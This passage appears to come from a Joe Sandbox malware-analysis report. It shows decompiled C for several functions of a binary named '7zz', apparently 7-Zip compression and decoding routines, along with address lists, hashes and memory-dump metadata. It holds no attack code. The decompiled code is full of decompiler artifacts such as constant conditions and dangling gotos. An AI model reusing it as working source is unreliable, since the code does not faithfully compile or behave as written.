							} else {
								_t259 = 0;
								do {
									if(0 != 0) {
										_t208 =  *(_t305 + 0x80);
										 *((intOrPtr*)(_t303 + 0x16d0 + _t208 * 4)) = _t259;
										 *(_t305 + 0x80) = _t208 + 1;
									}
									_t259 = _t259 + 1;
								} while (_t259 < 0x14);
								_t190 = 0;
								 *((intOrPtr*)(_t305 + 0x20)) = 0;
								if( *((intOrPtr*)(_t305 + 0xd0)) <= 0) {
									L51:
									return 1;
								} else {
									_t146 =  *((intOrPtr*)(_t305 + 0xc8));
									_t210 = _t146;
									_t287 =  *((intOrPtr*)(_t305 + 0xcc)) - _t146;
									 *((intOrPtr*)(_t305 + 0x10)) = _t210;
									 *((intOrPtr*)(_t305 + 0x24)) = _t287;
									L19:
									while(1) {
										if(_t190 == 0) {
											_t275 = _t303 + 8;
											_t291 =  *(_t303 + 0x28) >> 0x0000000f -  *((intOrPtr*)(_t303 + 0x2c)) >> 0x00000001 & 0x0000ffff;
											if(_t291 >=  *((intOrPtr*)(_t303 + 0x166c))) {
												_t149 = _t303 + 0x1670;
												_t191 = 0xa;
												if(_t291 >=  *((intOrPtr*)(_t303 + 0x1670))) {
													do {
														_t247 =  *((intOrPtr*)(_t149 + 4));
														_t149 = _t149 + 4;
														_t191 = _t191 + 1;
													} while (_t291 >= _t247);
												}
											} else {
												_t191 =  *((intOrPtr*)((_t291 >> 7) + _t303 + 0x1720));
											}
											_t215 =  *((intOrPtr*)(_t275 + 0x24)) + _t191;
											 *((intOrPtr*)(_t275 + 0x24)) = _t215;
											if(_t215 >= 0x10) {
												do {
													_t167 =  *_t275;
													if(_t167 <  *((intOrPtr*)(_t275 + 4))) {
														 *(_t305 + 0x18) =  *_t167;
														 *_t275 = _t167 + 1;
													} else {
														 *(_t305 + 0x18) = E0040E070(_t275);
													}
													_t169 =  *_t275;
													if(_t169 <  *((intOrPtr*)(_t275 + 4))) {
														 *(_t305 + 0x1c) =  *_t169;
														 *_t275 = _t169 + 1;
													} else {
														 *(_t305 + 0x1c) = E0040E070(_t275);
													}
													_t244 =  *((intOrPtr*)(_t275 + 0x24)) + 0xfffffff0;
													 *((intOrPtr*)(_t275 + 0x24)) = _t244;
													 *(_t275 + 0x20) = ( *(_t275 + 0x20) << 0x00000008 |  *(_t305 + 0x1c) & 0x000000ff) << 0x00000008 |  *(_t305 + 0x18) & 0x000000ff;
												} while (_t244 >= 0x10);
											}
											_t294 = (_t291 -  *((intOrPtr*)(_t303 + 0x1644 + _t191 * 4)) >> 0x10 - _t191) +  *((intOrPtr*)(_t303 + 0x168c + _t191 * 4));
											if(_t294 >= 0x14) {
												goto L50;
											} else {
												_t219 =  *((intOrPtr*)(_t303 + 0x16d0 + _t294 * 4));
												if(_t219 != 0x11) {
													if(_t219 != 0x12) {
														if(_t219 == 0x13) {
															_t151 = E00450B20(1);
															_t261 =  *((intOrPtr*)(_t275 + 0x24));
															_t190 = _t151 + 4;
															_t298 =  *(_t275 + 0x20) >> 0x0000000f - _t261 >> 0x00000001 & 0x0000ffff;
															if(_t298 >=  *((intOrPtr*)(_t303 + 0x166c))) {
																_t153 = _t303 + 0x1670;
																 *(_t305 + 0x14) = 0xa;
																if(_t298 >=  *((intOrPtr*)(_t303 + 0x1670))) {
																	do {
																		_t153 = _t153 + 4;
																		 *(_t305 + 0x14) =  *(_t305 + 0x14) + 1;
																	} while (_t298 >=  *_t153);
																}
															} else {
																 *(_t305 + 0x14) = 0;
															}
															 *((intOrPtr*)(_t275 + 0x24)) = _t261 +  *(_t305 + 0x14);
															E00450FC0(_t275);
															_t301 = (_t298 -  *((intOrPtr*)(_t303 + 0x1644 +  *(_t305 + 0x14) * 4)) >> 0x10 -  *(_t305 + 0x14)) +  *((intOrPtr*)(_t303 + 0x168c +  *(_t305 + 0x14) * 4));
															if(_t301 >= 0x14) {
																goto L50;
															} else {
																_t219 =  *((intOrPtr*)(_t303 + 0x16d0 + _t301 * 4));
																if( *((intOrPtr*)(_t303 + 0x16d0 + _t301 * 4)) > 0x10) {
																	goto L50;
																} else {
																	goto L47;
																}
															}
														} else {
															if(_t219 > 0x10) {
																goto L50;
															} else {
																_t190 = 1;
																L47:
																goto L48;
															}
														}
													} else {
														_t190 = E00450B20(5) + 0x14;
														_t266 = 0;
														goto L48;
													}
												} else {
													_t190 = E00450B20(4) + 4;
													_t266 = 0;
													goto L48;
												}
											}
										} else {
											 *((char*)(_t287 + _t210)) = _t266;
											 *_t210 = _t266;
											 *((intOrPtr*)(_t305 + 0x20)) =  *((intOrPtr*)(_t305 + 0x20)) + 1;
											 *((intOrPtr*)(_t305 + 0x10)) = _t210 + 1;
											_t190 = _t190 - 1;
											L48:
											if( *((intOrPtr*)(_t305 + 0x20)) >=  *((intOrPtr*)(_t305 + 0xd0))) {
												goto L51;
											} else {
												_t210 =  *((intOrPtr*)(_t305 + 0x10));
												_t287 =  *((intOrPtr*)(_t305 + 0x24));
												continue;
											}
										}
										goto L52;
									}
								}
							}
							goto L52;
						}
						break;
					}
					L52:
				}
				L50:
				return 0;
				goto L52;
				L1:
				 *((char*)(_t304 + _t281 + 0x28)) = E00450B20(4);
				_t281 = _t281 + 1;
				if(_t281 < 0x14) {
					goto L1;
				} else {
					_t257 = __ecx + 0x16d0;
					memset(_t304 + 0x40, 0, 0x10 << 2);
					_t305 = _t304 + 0xc;
					_t202 = 0;
				}
				goto L3;
			}

0x00450bdc
0x00450bde
0x00450bde
0x00000000
0x00450c08
0x00450c20
0x00450c26
0x00450c27
0x00450c2d
0x00450c2f
0x00000000
0x00450c31
0x00450c31
0x00450c33
0x00450c35
0x00450c39
0x00450c3f
0x00450c45
0x00450c49
0x00450c4e
0x00450c52
0x00450c5f
0x00450c67
0x00450c6b
0x00000000
0x00000000
0x00450c74
0x00450c79
0x00450c7b
0x00450c7b
0x00450c80
0x00450c8e
0x00450c93
0x00450c9a
0x00450ca1
0x00450caa
0x00450caf
0x00450cb1
0x00450cb1
0x00450cb8
0x00450cbc
0x00450cc2
0x00450cce
0x00450cd8
0x00450cd8
0x00450cde
0x00450ce4
0x00450ce6
0x00450ce6
0x00450caf
0x00450cea
0x00450cee
0x00000000
0x00450cf4
0x00450cf4
0x00450cf6
0x00450cfe
0x00450d00
0x00450d0e
0x00450d16
0x00450d16
0x00450d18
0x00450d19
0x00450d25
0x00450d29
0x00450d33
0x00450fa9
0x00450fb2
0x00450d39
0x00450d39
0x00450d47
0x00450d49
0x00450d4b
0x00450d4f
0x00000000
0x00450d53
0x00450d55
0x00450d76
0x00450d8a
0x00450d92
0x00450daa
0x00450db2
0x00450db7
0x00450db9
0x00450db9
0x00450dbc
0x00450dbf
0x00450dc0
0x00450db9
0x00450d94
0x00450d9b
0x00450d9b
0x00450dc7
0x00450dcb
0x00450dd1
0x00450dd3
0x00450dd3
0x00450dda
0x00450dec
0x00450df0
0x00450ddc
0x00450de3
0x00450de3
0x00450df2
0x00450df9
0x00450e0b
0x00450e0f
0x00450dfb
0x00450e02
0x00450e02
0x00450e33
0x00450e38
0x00450e3b
0x00450e40
0x00450dd3
0x00450e57
0x00450e61
0x00000000
0x00450e67
0x00450e67
0x00450e71
0x00450e8b
0x00450ea5
0x00450ebe
0x00450ec3
0x00450eda
0x00450edf
0x00450ee7
0x00450f03
0x00450f0b
0x00450f13
0x00450f15
0x00450f19
0x00450f1d
0x00450f23
0x00450f15
0x00450ee9
0x00450ef7
0x00450ef7
0x00450f2f
0x00450f32
0x00450f4d
0x00450f57
0x00000000
0x00450f59
0x00450f59
0x00450f63
0x00000000
0x00000000
0x00000000
0x00000000
0x00450f63
0x00450ea7
0x00450eaa
0x00000000
0x00450eb0
0x00450eb0
0x00450f65
0x00000000
0x00450f79
0x00450eaa
0x00450e8d
0x00450e98
0x00450e9b
0x00000000
0x00450e9b
0x00450e73
0x00450e7e
0x00450e81
0x00000000
0x00450e81
0x00450e71
0x00450d57
0x00450d5b
0x00450d5e
0x00450d62
0x00450d66
0x00450d6a
0x00450f7b
0x00450f88
0x00000000
0x00450f8a
0x00450f8a
0x00450f8e
0x00000000
0x00450f8e
0x00450f88
0x00000000
0x00450d55
0x00450d53
0x00450d33
0x00000000
0x00450cee
0x00000000
0x00450c4e
0x00000000
0x00450c2f
0x00450f9a
0x00450fa3
0x00000000
0x00450be0
0x00450be9
0x00450bed
0x00450bf1
0x00000000
0x00450bf3
0x00450bfe
0x00450c04
0x00450c04
0x00450c06
0x00450c06
0x00000000

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18eb27e6422edd7d087eaa85b9cb47c4f35199851569dbc48901ad76aac91017
Instruction ID: ad5e04536eb3a377db8700aff306818d5d26cec6f51285805bcfce31696dce2f
Opcode Fuzzy Hash: 18eb27e6422edd7d087eaa85b9cb47c4f35199851569dbc48901ad76aac91017
Instruction Fuzzy Hash: 5BB1D8367043458FDB28CE28D5906AEB7E1BBC5309F15093EEC86D7782C775A909CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0044CA40 Relevance: .3, Instructions: 305
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E0044CA40(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				signed int _t120;
				signed int _t122;
				signed char _t123;
				signed char _t126;
				signed int _t129;
				signed int _t137;
				signed int _t138;
				signed int _t139;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t152;
				signed int _t165;
				signed char _t172;
				signed char _t177;
				signed char _t178;
				signed char _t179;
				intOrPtr* _t193;
				intOrPtr _t266;
				intOrPtr _t277;
				intOrPtr _t289;
				signed int _t291;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				intOrPtr* _t297;
				intOrPtr _t299;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				signed int _t304;
				signed int _t305;
				intOrPtr _t308;
				void* _t309;

				_t299 = __ecx;
				 *((intOrPtr*)(_t309 + 8)) = __ecx;
				E0044C9C0(__ecx + 0xd7c, __ecx + 0x73c, 0x120);
				E0044C9C0(__ecx + 0x11fc, __ecx + 0x85c, 0x20);
				_t120 = 0;
				 *((intOrPtr*)(_t309 + 0xc)) = 0;
				if( *((intOrPtr*)(__ecx + 0x508)) > 0) {
					do {
						_t193 =  *((intOrPtr*)(_t299 + 0x4a8)) + _t120 * 4;
						 *((intOrPtr*)(_t309 + 0x20)) = _t193;
						_t122 =  *_t193;
						if(_t122 < 0x8000) {
							_t123 = _t122 & 0x0000ffff;
							 *(_t309 + 0x14) = _t123;
							_t297 = _t299 + 0x470;
							 *((intOrPtr*)(_t309 + 0x1c)) = 0;
							_t172 =  *(_t299 + 0x1180);
							_t291 = 0;
							__eflags = 0;
							if(0 > 0) {
								while(1) {
									_t152 =  *(_t297 + 0x28);
									__eflags = _t291 - _t152;
									if(_t291 < _t152) {
										break;
									}
									_t291 = _t291 - _t152;
									 *( *((intOrPtr*)(_t297 + 4)) +  *_t297) = _t172 << 0x00000008 - _t152 |  *(_t297 + 0x2c);
									_t308 =  *((intOrPtr*)(_t297 + 4)) + 1;
									 *((intOrPtr*)(_t297 + 4)) = _t308;
									__eflags = _t308 -  *((intOrPtr*)(_t297 + 8));
									if(__eflags == 0) {
										E0040EFBD(_t297, __eflags);
									}
									 *(_t297 + 0x28) = 8;
									_t172 = _t172 >>  *(_t297 + 0x28);
									__eflags = _t291;
									 *(_t297 + 0x2c) = 0;
									if(_t291 > 0) {
										continue;
									} else {
									}
									L16:
									_t123 =  *(_t309 + 0x14);
									_t299 =  *((intOrPtr*)(_t309 + 0x10));
									goto L17;
								}
								_t304 =  *(_t297 + 0x28);
								_t305 = _t304 - _t291;
								__eflags = _t305;
								 *(_t297 + 0x2c) =  *(_t297 + 0x2c) | ((0x00000001 << _t291) - 0x00000001 & _t172) << 0x00000008 - _t304;
								 *(_t297 + 0x28) = _t305;
								goto L16;
							}
							L17:
							_t292 = 0;
							__eflags = 0;
							_t177 = _t123;
							if(0 > 0) {
								while(1) {
									_t145 =  *(_t297 + 0x28);
									__eflags = _t292 - _t145;
									if(_t292 < _t145) {
										break;
									}
									_t292 = _t292 - _t145;
									 *( *_t297 +  *((intOrPtr*)(_t297 + 4))) = _t177 << 0x00000008 - _t145 |  *(_t297 + 0x2c);
									_t289 =  *((intOrPtr*)(_t297 + 4)) + 1;
									 *((intOrPtr*)(_t297 + 4)) = _t289;
									__eflags = _t289 -  *((intOrPtr*)(_t297 + 8));
									if(__eflags == 0) {
										E0040EFBD(_t297, __eflags);
									}
									 *(_t297 + 0x28) = 8;
									_t177 = _t177 >>  *(_t297 + 0x28);
									__eflags = _t292;
									 *(_t297 + 0x2c) = 0;
									if(_t292 > 0) {
										continue;
									} else {
									}
									goto L24;
								}
								_t146 =  *(_t297 + 0x28);
								_t147 = _t146 - _t292;
								__eflags = _t147;
								 *(_t297 + 0x2c) =  *(_t297 + 0x2c) | ((0x00000001 << _t292) - 0x00000001 & _t177) << 0x00000008 - _t146;
								 *(_t297 + 0x28) = _t147;
							}
							L24:
							_t126 =  *((intOrPtr*)( *((intOrPtr*)(_t309 + 0x20)) + 2));
							__eflags = 0 - 0x200;
							 *(_t309 + 0x14) = 0;
							if(0 >= 0x200) {
								_t301 = 0x10;
								__eflags = 0x10;
							} else {
								_t301 = 0;
							}
							_t178 =  *( *((intOrPtr*)(_t309 + 0x10)) + 0x11fc + _t301 * 4);
							_t293 = 0;
							__eflags = 0;
							if(0 > 0) {
								while(1) {
									_t137 =  *(_t297 + 0x28);
									__eflags = _t293 - _t137;
									if(_t293 < _t137) {
										break;
									}
									_t293 = _t293 - _t137;
									 *( *_t297 +  *((intOrPtr*)(_t297 + 4))) = _t178 << 0x00000008 - _t137 |  *(_t297 + 0x2c);
									_t277 =  *((intOrPtr*)(_t297 + 4)) + 1;
									 *((intOrPtr*)(_t297 + 4)) = _t277;
									__eflags = _t277 -  *((intOrPtr*)(_t297 + 8));
									if(__eflags == 0) {
										E0040EFBD(_t297, __eflags);
									}
									 *(_t297 + 0x28) = 8;
									_t178 = _t178 >>  *(_t297 + 0x28);
									__eflags = _t293;
									 *(_t297 + 0x2c) = 0;
									if(_t293 > 0) {
										continue;
									} else {
									}
									L34:
									_t126 =  *(_t309 + 0x14);
									goto L35;
								}
								_t138 =  *(_t297 + 0x28);
								_t139 = _t138 - _t293;
								__eflags = _t139;
								 *(_t297 + 0x2c) =  *(_t297 + 0x2c) | ((0x00000001 << _t293) - 0x00000001 & _t178) << 0x00000008 - _t138;
								 *(_t297 + 0x28) = _t139;
								goto L34;
							}
							L35:
							_t294 = 0;
							__eflags = 0;
							_t179 = _t126 -  *((intOrPtr*)(0x47c134 + _t301 * 4));
							if(0 > 0) {
								while(1) {
									_t129 =  *(_t297 + 0x28);
									__eflags = _t294 - _t129;
									if(_t294 < _t129) {
										goto L39;
									}
									_t294 = _t294 - _t129;
									L0042F593(_t179, _t297, _t179 << 0x00000008 - _t129 |  *(_t297 + 0x2c));
									 *(_t297 + 0x28) = 8;
									_t179 = _t179 >>  *(_t297 + 0x28);
									__eflags = _t294;
									 *(_t297 + 0x2c) = 0;
									if(__eflags > 0) {
										continue;
									} else {
									}
									goto L40;
								}
								goto L39;
							}
							goto L40;
						} else {
							_t297 = _t299 + 0x470;
							_t179 =  *(_t299 + 0xd7c);
							_t294 = 0;
							if(0 > 0) {
								while(1) {
									_t165 =  *(_t297 + 0x28);
									if(_t294 < _t165) {
										break;
									}
									_t294 = _t294 - _t165;
									 *( *((intOrPtr*)(_t297 + 4)) +  *_t297) = _t179 << 0x00000008 - _t165 |  *(_t297 + 0x2c);
									_t266 =  *((intOrPtr*)(_t297 + 4)) + 1;
									 *((intOrPtr*)(_t297 + 4)) = _t266;
									_t314 = _t266 -  *((intOrPtr*)(_t297 + 8));
									if(_t266 ==  *((intOrPtr*)(_t297 + 8))) {
										E0040EFBD(_t297, _t314);
									}
									 *(_t297 + 0x28) = 8;
									_t179 = _t179 >>  *(_t297 + 0x28);
									 *(_t297 + 0x2c) = 0;
									if(_t294 > 0) {
										continue;
									} else {
									}
									goto L41;
								}
								L39:
								_t302 =  *(_t297 + 0x28);
								_t303 = _t302 - _t294;
								__eflags = _t303;
								 *(_t297 + 0x2c) =  *(_t297 + 0x2c) | ((0x00000001 << _t294) - 0x00000001 & _t179) << 0x00000008 - _t302;
								 *(_t297 + 0x28) = _t303;
								L40:
								_t299 =  *((intOrPtr*)(_t309 + 0x10));
							}
						}
						L41:
						_t120 =  *(_t309 + 0x18) + 1;
						 *(_t309 + 0x18) = _t120;
					} while (_t120 <  *((intOrPtr*)(_t299 + 0x508)));
				}
				return E0044CDD0(_t299 + 0x470,  *((intOrPtr*)(_t299 + 0x117c)), 0);
			}

0x0044ca44
0x0044ca4b
0x0044ca5b
0x0044ca6e
0x0044ca79
0x0044ca7d
0x0044ca81
0x0044ca8a
0x0044ca90
0x0044ca93
0x0044ca97
0x0044ca9e
0x0044cb1b
0x0044cb24
0x0044cb2e
0x0044cb34
0x0044cb3f
0x0044cb46
0x0044cb48
0x0044cb4a
0x0044cb4c
0x0044cb4c
0x0044cb4f
0x0044cb51
0x00000000
0x00000000
0x0044cb58
0x0044cb6a
0x0044cb73
0x0044cb76
0x0044cb79
0x0044cb7b
0x0044cb7f
0x0044cb84
0x0044cb8b
0x0044cb92
0x0044cb94
0x0044cb96
0x0044cb9a
0x00000000
0x00000000
0x0044cb9c
0x0044cbc1
0x0044cbc1
0x0044cbc5
0x00000000
0x0044cbc5
0x0044cb9e
0x0044cbb9
0x0044cbb9
0x0044cbbb
0x0044cbbe
0x00000000
0x0044cbbe
0x0044cbc9
0x0044cbda
0x0044cbe3
0x0044cbe5
0x0044cbe7
0x0044cbe9
0x0044cbe9
0x0044cbec
0x0044cbee
0x00000000
0x00000000
0x0044cbf9
0x0044cc07
0x0044cc10
0x0044cc13
0x0044cc16
0x0044cc18
0x0044cc1c
0x0044cc1c
0x0044cc24
0x0044cc2b
0x0044cc2d
0x0044cc2f
0x0044cc33
0x00000000
0x00000000
0x0044cc35
0x00000000
0x0044cc33
0x0044cc37
0x0044cc52
0x0044cc52
0x0044cc54
0x0044cc57
0x0044cc57
0x0044cc5a
0x0044cc60
0x0044cc64
0x0044cc69
0x0044cc6d
0x0044cc8a
0x0044cc8a
0x0044cc6f
0x0044cc77
0x0044cc77
0x0044cc9a
0x0044cca1
0x0044cca3
0x0044cca5
0x0044cca7
0x0044cca7
0x0044ccaa
0x0044ccac
0x00000000
0x00000000
0x0044ccb3
0x0044ccc5
0x0044ccce
0x0044ccd1
0x0044ccd4
0x0044ccd6
0x0044ccda
0x0044ccda
0x0044cce2
0x0044cce9
0x0044cceb
0x0044cced
0x0044ccf1
0x00000000
0x00000000
0x0044ccf3
0x0044cd18
0x0044cd18
0x00000000
0x0044cd18
0x0044ccf5
0x0044cd10
0x0044cd10
0x0044cd12
0x0044cd15
0x00000000
0x0044cd15
0x0044cd1c
0x0044cd24
0x0044cd2f
0x0044cd31
0x0044cd33
0x0044cd35
0x0044cd35
0x0044cd38
0x0044cd3a
0x00000000
0x00000000
0x0044cd45
0x0044cd51
0x0044cd59
0x0044cd60
0x0044cd62
0x0044cd64
0x0044cd68
0x00000000
0x00000000
0x0044cd6a
0x00000000
0x0044cd68
0x00000000
0x0044cd35
0x00000000
0x0044caa0
0x0044caa8
0x0044cab5
0x0044cabc
0x0044cac0
0x0044cac6
0x0044cac6
0x0044cacb
0x00000000
0x00000000
0x0044cad6
0x0044cae8
0x0044caf1
0x0044caf4
0x0044caf7
0x0044caf9
0x0044cafd
0x0044cafd
0x0044cb05
0x0044cb0c
0x0044cb10
0x0044cb14
0x00000000
0x00000000
0x0044cb16
0x00000000
0x0044cb14
0x0044cd6c
0x0044cd6c
0x0044cd87
0x0044cd87
0x0044cd89
0x0044cd8c
0x0044cd8f
0x0044cd8f
0x0044cd8f
0x0044cac0
0x0044cd93
0x0044cd9d
0x0044cda0
0x0044cda0
0x0044cdac
0x0044cdcc

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5364b3d38da24dceb4fc74032ce6d375fea4b89270f7dfad01ac66195bbe4028
Instruction ID: f1a358e19409f11fecb9658b58595b2dff66520b4aac72c743e58953db3de8aa
Opcode Fuzzy Hash: 5364b3d38da24dceb4fc74032ce6d375fea4b89270f7dfad01ac66195bbe4028
Instruction Fuzzy Hash: B2B1C535205B418FD724DE39D4D02ABBBE2EFDA314F14892ED4DE87751DA34A90ACB48

Uniqueness

Uniqueness Score: -1.00%

Function 00466E30 Relevance: .3, Instructions: 302
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E00466E30(signed int* __ecx, signed char* __edx) {
				signed int __ebx;
				signed int __edi;
				signed int __esi;
				signed int __ebp;
				signed int _t240;
				signed int _t243;
				signed short _t246;
				signed int _t248;
				signed char* _t250;
				signed short* _t252;
				signed char* _t253;
				signed int _t255;
				signed int _t257;
				signed short* _t260;
				signed int _t263;
				signed int _t265;
				signed int _t266;
				signed int _t267;
				signed int _t273;
				signed int _t279;
				signed int _t283;
				void* _t284;
				signed int _t285;
				signed int _t288;
				signed int _t290;
				signed int _t294;
				signed int* _t302;
				signed int _t310;
				signed int _t312;
				signed int _t313;
				signed char* _t317;
				signed int _t318;
				signed char _t326;
				signed int _t328;
				signed int _t330;
				signed int* _t339;
				intOrPtr _t340;
				signed int _t346;
				signed int _t356;
				signed int _t358;
				signed int _t362;
				signed int _t369;
				signed int _t372;
				signed short* _t387;
				signed int _t389;
				signed char** _t396;
				signed int* _t399;
				signed int* _t402;
				signed char* _t406;
				signed char* _t409;
				void* _t412;
				void* _t413;

				_t302 = __ecx;
				_t413 = _t412 - 0x10c;
				_t396 = __ecx;
				_t240 =  *__ecx;
				 *(_t413 + 0x10) = __edx;
				if( *_t240 == 0) {
					_t406 = _t240 + 2;
					_t387 = __ecx + 0x1038 + ((( *( &(__ecx[0xcb]) + ( *(_t240 + 3) & 0x000000ff)) & 0x000000ff) << 6) + ( *( &(__ecx[0x8c]) + ( *( *(_t240 + 8)) & 0x000000ff)) & 0x000000ff) + (__ecx[7] >> 0x0000001a & 0x00000020) + ( *(_t240 + 1) & 0x000000ff) + __ecx[5]) * 2;
					__eflags = ( *_t406 & 0x000000ff) - __edx;
					if(( *_t406 & 0x000000ff) != __edx) {
						_t310 =  *_t387 & 0x0000ffff;
						_t243 = __ecx[0x12] >> 0xe;
						__ecx[0x14] = __ecx[0x14] + _t243 * _t310;
						__ecx[0x12] = (0x4000 - _t310) * _t243;
						E00466DF0(__ecx);
						_t146 = ( *_t387 & 0x0000ffff) + 0x20; // 0x20
						_t312 = _t146 >> 7;
						_t246 = ( *_t387 & 0x0000ffff) - _t312;
						 *_t387 = _t246;
						_t396[4] =  *(((_t246 & 0x0000ffff) >> 0xa) + 0x47c6bc) & 0x000000ff;
						_t248 = 0;
						_t313 = _t312 | 0xffffffff;
						do {
							 *(_t413 + 0x1c + _t248 * 4) = _t313;
							 *(_t413 + 0x20 + _t248 * 4) = _t313;
							 *(_t413 + 0x24 + _t248 * 4) = _t313;
							 *(_t413 + 0x28 + _t248 * 4) = _t313;
							 *(_t413 + 0x2c + _t248 * 4) = _t313;
							 *(_t413 + 0x30 + _t248 * 4) = _t313;
							 *(_t413 + 0x34 + _t248 * 4) = _t313;
							 *(_t413 + 0x38 + _t248 * 4) = _t313;
							_t248 = _t248 + 8;
							__eflags = _t248 - 0x40;
						} while (_t248 < 0x40);
						 *((char*)(_t413 + ( *_t406 & 0x000000ff) + 0x1c)) = 0;
						_t396[5] = 0;
						goto L35;
					} else {
						__ecx[0x12] = (__ecx[0x12] >> 0xe) * ( *_t387 & 0x0000ffff);
						E00466DF0(__ecx);
						_t140 = ( *_t387 & 0x0000ffff) + 0x20; // 0x20
						_t372 = _t140 >> 7;
						 *_t387 = ( *_t387 & 0x0000ffff) - _t372 - 0xffffff80;
						_t396[2] = _t406;
						_t339 = _t396;
						_pop(_t398);
						_t399 = _t339;
						_t279 = _t399[2];
						_t340 =  *((intOrPtr*)(_t279 + 1));
						__eflags = _t340 - 0xc4;
						 *((char*)(_t279 + 1)) = (_t372 & 0xffffff00 | _t340 - 0x000000c4 > 0x00000000) + _t340;
						_t399[7] = _t399[7] + 1;
						_t399[5] = 1;
						_t283 = ( *(_t399[2] + 4) & 0x0000ffff) << 0x00000010 |  *(_t399[2] + 2) & 0x0000ffff;
						__eflags = _t399[3];
						if(_t399[3] != 0) {
							L18:
							_t284 = E004661F0(_t399);
							 *_t399 = _t399[1];
							return _t284;
						} else {
							__eflags = _t283 - _t399[0xf];
							if(_t283 < _t399[0xf]) {
								goto L18;
							} else {
								_t399[1] = _t283;
								 *_t399 = _t283;
								return _t283;
							}
						}
					}
				} else {
					__edi =  *(__eax + 4);
					__ecx =  *__edi & 0x000000ff;
					__eflags = ( *__edi & 0x000000ff) - __edx;
					if(( *__edi & 0x000000ff) != __edx) {
						__edx =  *__esi;
						 *(__esi + 0x14) = 0;
						__ebx =  *__edx & 0x000000ff;
						__ebp =  *(__edi + 1) & 0x000000ff;
						__eax = __ebx;
						while(1) {
							__ecx =  *(__edi + 6) & 0x000000ff;
							__edi = __edi + 6;
							__eflags = __ecx -  *((intOrPtr*)(__esp + 0x10));
							__ecx =  *(__edi + 1) & 0x000000ff;
							if(__eflags == 0) {
								break;
							}
							__ebp = __ebp + __ecx;
							__eax = __eax - 1;
							__eflags = __eax;
							if(__eax != 0) {
								continue;
							} else {
								__ecx = __ecx | 0xffffffff;
								__eflags = __ecx;
								do {
									 *(__esp + 0x1c + __eax * 4) = __ecx;
									 *(__esp + 0x20 + __eax * 4) = __ecx;
									 *(__esp + 0x24 + __eax * 4) = __ecx;
									 *(__esp + 0x28 + __eax * 4) = __ecx;
									 *(__esp + 0x2c + __eax * 4) = __ecx;
									 *(__esp + 0x30 + __eax * 4) = __ecx;
									 *(__esp + 0x34 + __eax * 4) = __ecx;
									 *(__esp + 0x38 + __eax * 4) = __ecx;
									__eax = __eax + 8;
									__eflags = __eax - 0x40;
								} while (__eax < 0x40);
								__eax =  *__edi & 0x000000ff;
								 *((char*)(__esp + ( *__edi & 0x000000ff) + 0x1c)) = 0;
								__eax = __ebx;
								do {
									__ecx =  *(__edi - 6) & 0x000000ff;
									__edi = __edi - 6;
									__eax = __eax - 1;
									__eflags = __eax;
									 *((char*)(__esp + __ecx + 0x1c)) = 0;
								} while (__eax != 0);
								__edi =  *(__edx + 2) & 0x0000ffff;
								__eax =  *(__esi + 0x48);
								__edx = 0;
								_t105 = __eax % __edi;
								__eax = __eax / __edi;
								__edx = _t105;
								__edi = __edi - __ebp;
								 *(__esi + 0x48) = __eax;
								__eax = __eax * __ebp;
								__edx =  *(__esi + 0x48);
								 *((intOrPtr*)(__esi + 0x50)) =  *((intOrPtr*)(__esi + 0x50)) + __eax;
								__edx =  *(__esi + 0x48) * (__edi - __ebp);
								 *(__esi + 0x48) =  *(__esi + 0x48) * (__edi - __ebp);
								__eax = E00466DF0(__esi);
								while(1) {
									L35:
									_t356 =  *( *_t396) & 0x000000ff;
									while(1) {
										_t396[3] =  &(_t396[3][1]);
										_t250 = ( *_t396)[8];
										__eflags = _t250;
										if(_t250 == 0) {
											break;
										}
										 *_t396 = _t250;
										__eflags = ( *_t250 & 0x000000ff) - _t356;
										if(( *_t250 & 0x000000ff) == _t356) {
											continue;
										} else {
											_t252 = E00466790(_t396, _t356, _t413 + 0x14);
											_t317 =  *_t396;
											 *(_t413 + 0x18) = _t252;
											_t253 = _t317[4];
											_t389 = 0;
											_t358 = ( *_t317 & 0x000000ff) + 1;
											while(1) {
												_t318 =  *_t253 & 0x000000ff;
												__eflags = _t318 -  *(_t413 + 0x10);
